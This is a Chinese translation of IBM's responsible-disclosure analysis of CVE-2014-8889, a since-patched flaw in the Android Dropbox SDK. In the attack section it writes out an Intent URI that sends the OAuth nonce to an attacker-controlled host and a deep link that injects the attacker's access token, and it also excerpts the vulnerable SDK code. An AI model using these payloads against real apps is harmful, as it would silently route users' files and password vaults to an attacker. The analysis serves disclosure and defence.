本文是對IBM ISS安全團隊對DropBox SDK漏洞詳細分析的翻譯。
原文見http://www.slideshare.net/ibmsecurity/remote-exploitation-of-the-dropbox-sdk-for-android
如今個人數據存儲在云端,這使得像照片備份或通用存儲那樣的服務不僅可以被用戶訪問,也能被代表用戶的app所訪問。在許多方面,包括訪問控制功能的app與服務之間的互操作總是具有挑戰性的,為了解決訪問控制來來的挑戰,OAuth1和2等授權協議陸續被提出,它們可以安全地授予app訪問特定服務中個人數據的權限,而又不泄露用戶的個人憑據。為便于開發,這些服務通常為app提供一個框架或SDK,使app能夠和服務進行通信。對于app開發者而言,SDK是具有吸引力的,因為其對內部細節進行了抽象,給開發者提供了簡單的客戶端API。從安全的角度來看,SDK則提供了極具吸引力的攻擊面,因為其一旦出現可供利用的漏洞,可以影響大量使用該SDK的app。
本文介紹了Android Dropbox SDK 1.5.4-1.6.1版本中存在的一個嚴重漏洞(CVE-2014-8889),該漏洞使基于Dropbox SDK的app暴露于嚴重的本地和遠程攻擊。作為概念證明(POC),我們開發了針對包括Microsoft Office Mobile和1Password等流行app的遠程攻擊程序。我們負責任地將該漏洞報告給了Dropbox,Dropbox也及時提供了一個修復的SDK(1.6.2版)。在此,強烈建議開發者下載SDK并更新其app。
Dropbox SDK是一個供開發者下載并用于其產品的庫,它通過一組簡單的API,提供了輕松使用Dropbox服務,如下載或上傳文件等功能。
AppBrain的統計數據表明了在Android中使用Dropbox SDK的流行程度[1 ],在全部應用中,有0.31%使用了Dropbox SDK。而在Google Play前500的應用中,1.41%使用了Dropbox SDK。有趣的是,按照安裝量統計,分別有總量的1.32%和前500應用安裝量的3.93%使用了Dropbox SDK。
盡管Dropbox SDK不是一個高度流行的基礎軟件庫,某些非常流行的Android app仍然使用Dropbox SDK持有敏感數據,包括擁有10,000,000下載量的[Microsoft Office Mobile](https:// https://play.google.com/store/apps/details?id=com.microsoft.office.officehub),以及擁有100,000下載量的AgileBits 1Password。
我們發現的這一漏洞影響使用Dropbox SDK 1.5.4-1.6.1版的所有Android app。我們分析了使用Android Dropbox SDK的41個app(它們使用了1.5.4-1.6.1版),其中有31個app(76%)能夠被攻擊成功)。需要注明的是,其余app仍然具有漏洞,可以被造成同樣后果的更加簡單的攻擊所利用,只不過這些app沒有升級到修復漏洞的1.5.4版1。
本文結構如下,第二章介紹了Android中跨應用通信(IAC)的背景,第三章介紹了IAC如何被惡意代碼本地利用和遠程drive-by攻擊利用的技術,第四章描述了Dropbox SDK如何使用OAuth為Android app提供授權,第五章深入分析我們所發現的Android Dropbox SDK用于OAuth代碼中的漏洞,第六章描述了我們稱之為DROPPEDIN的利用該漏洞的真實攻擊,第七章我們提供了反映真實威脅的案例,最后在第八章中我們提供了該漏洞的修復建議。
Android應用在沙箱環境中執行,沙箱確保應用數據的機密性和完整性,如果沒有配置適當的權限,某一應用無法訪問其他應用中的敏感信息。例如,Android Stock瀏覽器中的敏感信息,如cookie、緩存和歷史記錄,不會被第三方的app所訪問。沙箱機制依賴于多種技術,包括基于應用的Linux user-id分配,因此在默認情況下,某一應用的資源(如文件),不會被其他應用所訪問。盡管沙箱機制有利于安全,對于有時在app之間需要通信的場合,也犧牲了部分互操作性。回到前述Stock瀏覽器的例子,當用戶使用瀏覽器訪問到Google Play網址時,可能需要打開Google Play app,為了支持這種類型的互操作,Android提供了一種高層的跨應用通信(IAC)機制,通常使用了封裝有關載荷和目標應用組件的信息、被稱之為Intent的特殊消息。Intent可以是顯式指定,此時必須明確指定目標應用組件,也可以隱式指定,此時目標應用無需明確指定,而由Android系統根據Intent參數中的URI scheme、action或category決定。
如果攻擊者可以控制Intent載荷,直接啟動應用組件,那么攻擊面將被拓寬,特別對于處于導出(exported)狀態的應用組件。這些導出的一個用組件易于遭受惡意應用的本地攻擊。負責UI屏幕的Android組件Activity也可以遭受遠程的drive-by攻擊技術,見[2,3]。
在本地攻擊中,如圖3.1所示,惡意應用通過惡意Intent(即包含惡意數據)啟動導出的目標應用,這只需要簡單的調用API,如Context.startActivity(intent)
圖3.1 惡意應用的本地攻擊
而在圖3.2所示的遠程drive-by攻擊中,用戶被欺騙瀏覽惡意網址,惡意網址的網頁使瀏覽器發送惡意Intent,啟動目標activity。2
圖3.2 遠程Drive-by攻擊
為了授權app使用一個指定的Dropbox賬號,Dropbox SDK使用了OAuth協議,這個過程始于app在Dropbox網站的帶外注冊,接著app就可以從Dropbox收到app key和app secret,并將其硬編碼于代碼中。
然后app將在Android Manifest文件中導出Dropbox使用的AuthActivity,如下所示。
#!html
<activity android:name="com.dropbox.client2.android.AuthActivity" ...>
<intent-filter>
<data android:scheme="db-<APP_KEY >" />
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.BROWSABLE" />
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</activity>
圖4.1描述了Dropbox OAuth協議各方及通信過程,這一過程首先開始于app攜帶必須的數據(即app key和app secret)調用Dropbox SDK AndroidAuthSession
中的靜態方法start{OAuth2}Authentication
,該方法使用一個Intent啟動AuthActivity,接著AuthActivity產生一個nonce隨機數,并再次通過一個Intent啟動瀏覽器或者Dropbox app(如果已安裝),對用戶進行認證和對app進行授權。這一過程將使用到前面產生的nonce。瀏覽器或者Dropbox app將利用指向app唯一URI scheme(db-OnNewIntent
方法被調用,該方法會檢查輸入的nonce是否與輸出的nonce一致。如果一致,它將接受token,并存儲于其result
靜態變量中。token將在Dropbox會話中保存,用于接下來的Dropbox SDK調用。
圖4.1 Dropbox OAuth認證
該過程存在兩個主要的威脅。首先,返回的OAuth access token可能被竊取,這將允許攻擊者訪問授權的Dropbox資源。惡意應用通過注冊類似的Intent filter,就可以假冒app實施這種攻擊。然而由于Dropbox SDK可以檢查是否有別的應用注冊相同的Intent filter,因此這種威脅帶來的風險就已經緩解了。其次,攻擊者可以注入自己的access token,這將導致app連接到攻擊者的賬戶,從而在非授權的情況下上傳敏感數據給攻擊者,或者下載數據以進一步實施其他的攻擊。由于nonce 參數的存在(在1.5.4版中引入),這種威脅帶來的風險也已經緩解。然而,具體實現仍然存在一個漏洞,攻擊者可以主動地令Dropbox SDK泄露nonce參數到攻擊者控制的服務器,我們將在下一章中予以敘述。
我們發現的一個漏洞,被標識為CVE-2014-8889,使攻擊者可以在Dropbox SDK的AuthActivity中注入一個任意的access token,完全繞過nonce的保護。
AuthAcitivity接受幾種不同的Intent extra參數,作為一個exported和browasable的activity(如第四章所述,必須),它可以被攜帶任意Intent extra參數(見第三章)的本地惡意應用和遠程惡意網站所啟動,因此在使用這些Intent extra參數時必須格外小心。
然而,一個名為INTERNAL_WEB_HOST的Intent extra參數卻可以被攻擊者所控制,從而帶來破壞性的影響。當瀏覽器用于認證用戶和授權app使用時(Dropbox app未安裝的情況),這個參數最終控制了用戶瀏覽器訪問的地址,如附錄A,startWebAuth方法被AuthActivity的OnResume回調方法(在Intent啟動Activity后調用)所調用。因此,如果攻擊者可以針對該activity生成一個Intent,并將其INTERNAL_WEB_HOST extra指向自己控制的服務器,那么在認證過程中的nonce將發送給攻擊者的服務器!
對本地和遠程(drive-by)攻擊,我們都予以了實現。這兩種攻擊都要求被攻擊設備不能安裝Dropbox app,并要求攻擊者預先以一種帶外的方式獲得access token(ACCESS_TOKEN_KEY, ACCESS_TOKEN_SECRET),以及與其賬戶和被攻擊app相關的uid。這一步很容易,因為攻擊者可以簡單地下載被攻擊app到自己的設備上,授權自己的Dropbox賬號使用,并記錄返回的access token對。如圖6.1,遠程攻擊分四個步驟,本地攻擊也與此類似,但要求被攻擊設備上安裝惡意應用。
圖6.1 Droppedin 攻擊
受害者訪問了攻擊者完全控制的惡意網站,或者被攻擊者利用漏洞(如XSS)植入惡意代碼的網站。
惡意代碼攜帶特別的Intent參數,使用戶的瀏覽器啟動被攻擊的app,并使隨后的OAuth過程與攻擊者所控制的服務器間進行,而不是正常的https://www.dropbox.com
。這一步驟使攻擊者獲得nonce。通過簡單的HTTP重定向到以下代碼就可以實現: Intent:#Intent;scheme=db-<APP_KEY>; S.EXTRA_INTERNAL_WEB_HOST=
截至本文寫作時,大多數的流行瀏覽器都支持上述這種Intent URI scheme機制的隱式Intent。
上述Intent將最終使瀏覽器訪問https://attacker:443/1/connect
(并在GET參數中攜帶nonce),這要求攻擊者擁有自己的SSL證書,但這也很容易。獲取nonce后,攻擊者就可以通過另一個HTTP重定向到以下代碼,注入自己預先產生的access token到app中。
db-<APP_KEY>://1/connect?oauth_token_secret=<ACCESS_TOKEN_SECRET>
&oauth_token=<ACCESS_TOKEN_KEY>
&uid=<UID>
&state=<NONCE>
如果access token被成功注入,將保存在AuthActivity.result
中。
至此,AuthActivity的靜態成員變量result就包含了攻擊者的token。其余就是被攻擊app如何使用這些數據了,這取決于開發者。
不排除有別的情況存在,但總體而言,客戶端(app)代碼將在其中一個Activity的onCreate方法或者在用戶點擊某些按鈕時發起認證過程。接下來就是檢查認證是否成功,并在其onResume方法中將token用于Dropbox會話。
攻擊得以成功關鍵的一點在于,onCreate和onResume方法依次調用(見[4,6])。這表明,攻擊者一旦在app的activity呈現之前注入他的access token,這個access token就會在用戶輸入自己的憑據之前使用,見第7章的具體案例分析。
Microsoft Office Mobile app允許用戶將自己的文檔上傳至云中,且支持多個Dropbox賬戶。
在該案例中,正常情況下下列步驟將按如下順序執行:
1.用戶添加Dropbox賬號,這將啟動負責Dropbox認證的activity。 2.activity的onCreate方法調用SDK AndroidAuthSession中的startOAuth2Authentication方法。 3.接著調用acitivity的onResume方法,通過AndroidAuthSession的authenticationSuccessful方法檢查認證是否成功,后者返回一個負值。 4.用戶通過瀏覽器登錄Dropbox認證,并授權app使用自己的賬戶。 5.activity的onResume方法再次調用,此時authenticationSuccessful將返回正值。token將從AuthActivity拷貝到session對象,供app使用。通過調用Activity.finish方法銷毀activity. 6.賬戶被添加到app中。
該過程可遭受如下的攻擊。在第一步之前,攻擊者通過漏洞注入自己的token。用戶接著添加一個新的Dropbox賬號,正常情況下他將被引到Dropbox的官網,然而第三步在可以在未經用戶同意的情況下在后臺發生,authentication方法將調用成功,攻擊者的token被拷貝到session對象,然后activity被銷毀,甚至都第五步都不會進行。因此,即使用戶輸入的是自己的認證憑據,卻使用了攻擊者的token,使攻擊無縫發生。
1Password app屬于口令管理app(如KeyPass),使用Dropbox SDK將用戶的vault(密鑰庫)同步至Dropbox。該app支持使用一個Dropbox賬號將本地的密鑰庫同步至Dropbox。將密鑰庫上傳給攻擊者的賬號將帶來災難性的影響——攻擊者可以進行離線破解,如果使用弱的主保護口令(這仍然是一個常見問題 [5,7]),攻擊者可以在可行的時間內破解成功。此外,為了獲得主保護口令,攻擊者還可以實施釣魚攻擊。
與7.1節類似,當用戶決定同步時如下步驟按序發生:
1.用戶點擊“同步到Dropbox”按鈕,啟動負責Dropbox認證的activity。 2.activity的onCreate方法通過AndroidAuthSession.isLinked()
方法檢查自己是否被連接。如果沒有,則調用AndroidAuthSession的startAuthentication方法。
3.接著調用activity的onResume方法,并再次調用AndroidAuthSession.isLinked()
。如果返回false,則通過AnroidAuthSession.authenticationSucessful()
方法檢查認證是否成功,后者將返回一個負值。
4.用戶通過瀏覽器登錄Dropbox認證,并授權app使用自己的賬戶。
5.activity的onResume方法被調用,AndroidAuthSession.isLinked()
再次返回false。然而,此時authenticationSuccessful()
方法將返回一個正值。app接著調用finishAuthentication將token拷貝到session對象(這將導致isLinked方法返回true),于是app使用該token。
6.同步過程開始。
該過程可遭受如下的攻擊。在第一步之前,攻擊者可以利用漏洞注入自己的token。用戶接著同步自己的賬戶,正常情況下他將被引到Dropbox的官網,然而第三步在可以在未經用戶同意的情況下在后臺發生,authentication方法將調用成功,攻擊者的token被拷貝到session對象,導致第五步的isLinked方法返回true。因此,即使用戶輸入的是自己的認證憑據,卻使用了攻擊者的token,使攻擊無縫發生。
DBRoulette app與Dropbox SDK打包在一起,作為一個示例應用。它是一個具有基本功能的app,對用戶進行認證,并從用戶的Dropbox照片文件夾中隨機加載一張照片。在主activity DBRoulette中,onResume方法只是簡單的覆蓋預先存儲的認證憑據,這意味著即使Dropbox賬號已經連接到DBRoulette,攻擊者的賬號仍然可以使用。此外,DBRoulette調用Dropbox SDK認證方法的代碼位于一個導出的activity中,攻擊者可以啟動該activity,從而實施完全自動化的攻擊。圖7.1描述了一次成功的攻擊,攻擊者賬號中的本文作者手指照片,而非受害用戶自己的照片,出現在DBRoulette中。
圖7.1 被攻擊的DBRoulette
Android Dropbox SDK 1.6.2版已經發布,包含了對該漏洞的修補。Dropbox SDK的AuthActivity方法也不再接受輸入Intent的extra參數,這就使攻擊者無法通過可控的Dropbox SDK通信的服務器地址來獲得nonce。強烈建議開發者將其使用的Dropbox SDK更新到最新版本。為了避免沒有更新SDK的app被該漏洞利用,終端用戶可以安裝Dropbox app使攻擊失效。
2014.12.1 - 漏洞報告給廠商。
2014.12.1 - 廠商確認,開始編寫補丁。
2014.12.5 - 補丁可用(Android Dropbox SDK 1.6.2版)
2015.3.11 - 公開披露。
Dropbox對安全威脅的響應令人印象深刻,我們向Dropbox報告了該問題,僅僅在6分鐘后就得到了回應,24小時之內漏洞得到了確認,4天后補丁可用。我們感謝Dropbox團隊,這是我們所見到過的最快補丁,無疑他們對于用戶的安全是負責任的。
1.AppBrain. Dropbox API - Android library statistics. http://www.appbrain.com/stats/libraries/ details/dropbox_api/dropbox-api.
2.Takeshi Terada. Attacking Android browsers via intent scheme URLs. 2014. http://www.mbsd.jp/ Whitepaper/IntentScheme.pdf.
3.Roee Hay & David Kaplan. Remote exploitation of the cordova framework. 2014. http://www. slideshare.net/ibmsecurity/remote-exploitation-of-the-cordova-framework.
4.Android. Activity. http://developer.android.com/reference/android/app/Activity.html.
5.Trustwave. 2014 business password analysis, 2014. https://gsr.trustwave.com/topics/ business-password-analysis/2014-business-password-analysis/.
code:
protected void onCreate(Bundle savedInstanceState) { ... Intent intent = getIntent(); ... webHost = intent.getStringExtra(EXTRA\_INTERNAL\_WEB\_HOST); if (null == webHost) { webHost = DEFAULT\_WEB_HOST; } ... }
protected void onResume() {
...
String state = createStateNonce();
...
if (hasDropboxApp(officialIntent)) {
startActivity(officialIntent);
}
else {
startWebAuth(state);
}
...
authStateNonce = state;
}
private void startWebAuth(String state)
{
String path = "/connect";
Locale locale = Locale.getDefault();
String[] params = {
"locale", locale.getLanguage()+"_"+locale.getCountry(),
"k", appKey,
"s", getConsumerSig(),
"api", apiType,
"state", state};
String url = RESTUtility.buildURL(webHost, DropboxAPI.VERSION, path, params);
Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(url));
startActivity(intent);
}
從上下文來看,這一漏洞不是指本文分析的CVE-2014-8889 ↩
這種攻擊技術參見Intent scheme URL attack ↩
從文中內容看,作者使用Link(連接)這一術語說明app與某一Dropbox賬號建立關系,即app使用該賬號訪問Dropbox的服務。 ↩